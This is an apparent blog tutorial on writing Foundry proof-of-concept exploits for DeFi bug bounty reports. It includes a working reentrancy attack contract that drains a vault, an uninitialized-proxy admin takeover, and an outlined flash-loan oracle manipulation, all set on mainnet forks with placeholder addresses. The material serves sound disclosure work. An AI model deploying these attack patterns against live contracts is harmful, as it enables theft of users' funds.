Introduction
You've found a bug in a DeFi protocol. You understand the vulnerability conceptually. But now the bug bounty program wants a proof of concept — working code that demonstrates the exploit on a fork of mainnet.
This is where many bug bounty hunters struggle. Writing a reliable PoC that clearly demonstrates impact is a skill that separates informational reports from critical-severity payouts. In this guide, we'll walk through building a complete Foundry PoC from scratch, covering our methodology, common patterns, and practical tips from writing dozens of exploit PoCs for bug bounty submissions.
Why Foundry for PoCs?
Foundry has become the standard toolkit for security researchers. Here's why:
-
Fork testing: Test against real mainnet state with
--fork-url - Cheatcodes: Manipulate block state, impersonate accounts, deal tokens
- Speed: Rust-based, orders of magnitude faster than Hardhat for fork tests
-
Traces: Built-in transaction traces with
-vvvvfor debugging - Native Solidity: Write tests in the same language as the target
Setup
# Install Foundry
curl -L https://foundry.paradigm.xyz | bash
foundryup
# Create new project
forge init poc-demo
cd poc-demo
# Install common dependencies
forge install OpenZeppelin/openzeppelin-contracts
forge install foundry-rs/forge-std
The PoC Template
Every PoC we write follows this structure. Start here and adapt:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
// Import target protocol interfaces
interface ITargetProtocol {
function deposit(uint256 amount) external;
function withdraw(uint256 shares) external;
function balanceOf(address) external view returns (uint256);
}
interface IERC20 {
function approve(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function transfer(address, uint256) external returns (bool);
}
contract ExploitPoC is Test {
// === Constants ===
// Pin to a specific block for reproducibility
uint256 constant FORK_BLOCK = 19_000_000;
// Protocol addresses (mainnet)
address constant TARGET = 0x1234567890AbcdEF1234567890aBcDeF12345678;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
// Actors
address attacker;
address victim;
// === Setup ===
function setUp() public {
// Fork mainnet at specific block
vm.createSelectFork(vm.envString("ETH_RPC_URL"), FORK_BLOCK);
// Create labeled addresses
attacker = makeAddr("attacker");
victim = makeAddr("victim");
// Fund accounts
deal(USDC, attacker, 10_000e6); // 10K USDC
deal(USDC, victim, 100_000e6); // 100K USDC
// Setup: victim deposits into protocol
vm.startPrank(victim);
IERC20(USDC).approve(TARGET, type(uint256).max);
ITargetProtocol(TARGET).deposit(100_000e6);
vm.stopPrank();
}
// === Exploit ===
function test_exploit() public {
// Log initial state
uint256 attackerBalanceBefore = IERC20(USDC).balanceOf(attacker);
console.log("=== BEFORE EXPLOIT ===");
console.log("Attacker USDC:", attackerBalanceBefore);
// Execute exploit as attacker
vm.startPrank(attacker);
// ... exploit steps go here ...
vm.stopPrank();
// Log final state
uint256 attackerBalanceAfter = IERC20(USDC).balanceOf(attacker);
console.log("=== AFTER EXPLOIT ===");
console.log("Attacker USDC:", attackerBalanceAfter);
console.log("Profit:", attackerBalanceAfter - attackerBalanceBefore);
// Assert the exploit worked
assertGt(attackerBalanceAfter, attackerBalanceBefore, "Exploit should be profitable");
}
}
Running It
# Basic run
forge test --match-test test_exploit -vv
# With full traces (for debugging)
forge test --match-test test_exploit -vvvv
# With gas reporting
forge test --match-test test_exploit -vv --gas-report
Pattern 1: Price Oracle Manipulation PoC
Let's build a realistic PoC for an oracle manipulation vulnerability. The scenario: a lending protocol uses a DEX pool's spot price, and we can manipulate it with a flash loan.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn, uint amountOutMin,
address[] calldata path, address to, uint deadline
) external returns (uint[] memory);
}
interface IFlashLender {
function flashLoan(
address borrower, address token,
uint256 amount, bytes calldata data
) external;
}
interface IVulnerableLending {
function deposit(address token, uint256 amount) external;
function borrow(address token, uint256 amount) external;
function getPrice(address token) external view returns (uint256);
}
interface IERC20 {
function approve(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function transfer(address, uint256) external returns (bool);
}
contract OracleManipulationPoC is Test {
// Mainnet addresses (example — replace with actual)
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
// These would be the actual vulnerable protocol addresses
IVulnerableLending lending = IVulnerableLending(address(0xDEAD));
IFlashLender flashLender = IFlashLender(address(0xBEEF));
IUniswapV2Router router = IUniswapV2Router(address(0xCAFE));
address attacker;
function setUp() public {
// In a real PoC, fork mainnet
// vm.createSelectFork(vm.envString("ETH_RPC_URL"), BLOCK);
attacker = makeAddr("attacker");
}
function test_oracleManipulation() public {
vm.startPrank(attacker);
console.log("=== Oracle Manipulation PoC ===");
console.log("Price before:", lending.getPrice(WETH));
// Step 1: Flash loan large amount of WETH
// Step 2: Dump WETH on the DEX pool the oracle reads from
// Step 3: Borrow against artificially cheap WETH collateral
// Step 4: Price returns to normal, profit realized
// The flash loan callback would execute:
// a) Swap large WETH -> USDC (crashes WETH price on pool)
// b) Deposit WETH collateral (now "cheap" per oracle)
// c) Borrow max USDC against inflated collateral value
// d) Swap USDC back to WETH (restore pool)
// e) Repay flash loan, keep profit
vm.stopPrank();
}
}
Pattern 2: Reentrancy PoC with Attack Contract
Reentrancy PoCs require a malicious contract that performs the callback:
contract ReentrancyPoC is Test {
IVulnerableVault vault;
address attacker;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 19_000_000);
attacker = address(new AttackContract(address(vault)));
deal(address(attacker), 1 ether); // Seed capital
}
function test_reentrancy() public {
uint256 vaultBalanceBefore = address(vault).balance;
console.log("Vault balance before:", vaultBalanceBefore);
vm.prank(attacker);
AttackContract(payable(attacker)).attack{value: 1 ether}();
uint256 vaultBalanceAfter = address(vault).balance;
console.log("Vault balance after:", vaultBalanceAfter);
console.log("Drained:", vaultBalanceBefore - vaultBalanceAfter);
assertLt(vaultBalanceAfter, vaultBalanceBefore);
}
}
contract AttackContract {
IVulnerableVault immutable vault;
uint256 constant REENTER_COUNT = 10;
uint256 counter;
constructor(address _vault) {
vault = IVulnerableVault(_vault);
}
function attack() external payable {
// Initial deposit
vault.deposit{value: msg.value}();
// Trigger withdrawal — this will call back into receive()
vault.withdraw(msg.value);
}
receive() external payable {
if (counter < REENTER_COUNT && address(vault).balance >= 1 ether) {
counter++;
vault.withdraw(1 ether); // Re-enter!
}
}
}
interface IVulnerableVault {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
Pattern 3: Access Control / Privilege Escalation
These are often the simplest PoCs but yield critical severity:
contract AccessControlPoC is Test {
address constant PROTOCOL = 0x1234567890AbcdEF1234567890aBcDeF12345678;
address constant PROXY = 0xAbCdEf1234567890AbCdEf1234567890AbCdEf12;
function test_uninitializedProxy() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 19_000_000);
address attacker = makeAddr("attacker");
// Check: Implementation contract is NOT initialized
// (In a real scenario, read the initialized slot)
vm.startPrank(attacker);
// Call initialize on the implementation directly
// This makes the attacker the admin
(bool success,) = PROTOCOL.call(
abi.encodeWithSignature("initialize(address)", attacker)
);
assertTrue(success, "Initialize should succeed");
// Now attacker is admin — can upgrade, drain, etc.
// Demonstrate by calling an admin-only function
(bool adminSuccess,) = PROTOCOL.call(
abi.encodeWithSignature("setFeeRecipient(address)", attacker)
);
assertTrue(adminSuccess, "Admin function should succeed");
vm.stopPrank();
console.log("Attacker is now admin of the protocol!");
}
}
Essential Foundry Cheatcodes for PoCs
Master these — they're your Swiss army knife:
// === Account Manipulation ===
vm.prank(address); // Next call comes from address
vm.startPrank(address); // All calls from address until stopPrank
vm.stopPrank();
makeAddr("label"); // Create labeled address
// === Token/Balance Manipulation ===
deal(token, account, amount); // Set ERC20 balance
deal(account, amount); // Set ETH balance
vm.deal(account, amount); // Same as above
// === Time & Block Manipulation ===
vm.warp(timestamp); // Set block.timestamp
vm.roll(blockNumber); // Set block.number
skip(seconds); // Advance time by N seconds
// === State Reading ===
vm.load(addr, slot); // Read storage slot directly
vm.store(addr, slot, val); // Write storage slot
// === Forking ===
vm.createSelectFork(rpc, block); // Fork at specific block
vm.createFork(rpc); // Fork at latest
// === Debugging ===
console.log("value:", x); // Print to console
vm.toString(x); // Convert to string
console.logBytes32(x); // Log bytes32 values
// === Expectations ===
vm.expectRevert("Error msg"); // Next call should revert
vm.expectEmit(true, true, false, true); // Check events
Writing a Compelling Report
A PoC alone isn't enough. Your bug bounty report needs to tell a story:
Report Structure
## Summary
One paragraph: What's the bug, what's the impact.
## Vulnerability Detail
Technical explanation of the root cause.
Include code references (file, line numbers).
## Impact
What can an attacker achieve?
Quantify: How much money is at risk?
What are the preconditions?
## Proof of Concept
Your Foundry test with clear comments.
Include console output showing the exploit.
## Recommended Mitigation
How should the protocol fix this?
Provide code diff if possible.
Tips for Maximum Impact
- Pin your fork block — Reviewers need to reproduce exactly
-
Use
console.logliberally — Show balances before/after, quantify profit -
Label your addresses —
makeAddr("attacker")is clearer thanaddress(1) - Include the output — Paste the forge test output in your report
- Quantify at current prices — "$1.2M at risk" hits harder than "1000 ETH"
- Keep it minimal — Only include code necessary for the exploit
- Test edge cases — Show it works with different amounts, timing
Common Pitfalls
1. Fork State Drift
# BAD: Fork at latest — state changes between runs
forge test --fork-url $RPC
# GOOD: Pin to specific block
forge test --fork-url $RPC --fork-block-number 19000000
2. Missing Token Approvals
// Don't forget: most DeFi interactions need approvals
IERC20(USDC).approve(address(protocol), type(uint256).max);
3. Gas Limits on Fork Tests
# If your PoC hits gas limits on forked state:
forge test --gas-limit 30000000 --match-test test_exploit
4. Incorrect Interface Definitions
// Always verify function signatures match the actual contract
// Use cast to check:
// cast sig "deposit(uint256)" → 0xb6b55f25
// cast 4byte 0xb6b55f25 → deposit(uint256)
Conclusion
Building reliable Foundry PoCs is a core skill for smart contract security. The patterns above cover 80% of bug bounty scenarios — oracle manipulation, reentrancy, and access control vulnerabilities.
Remember: a great PoC makes the vulnerability undeniable. Clear setup, commented code, logged outputs, and quantified impact. The reviewer should run forge test and immediately understand the severity.
Start with our template, adapt the patterns to your target, and always pin your fork blocks. Happy hunting.
Follow for more smart contract security content. We write PoCs for breakfast.
Top comments (0)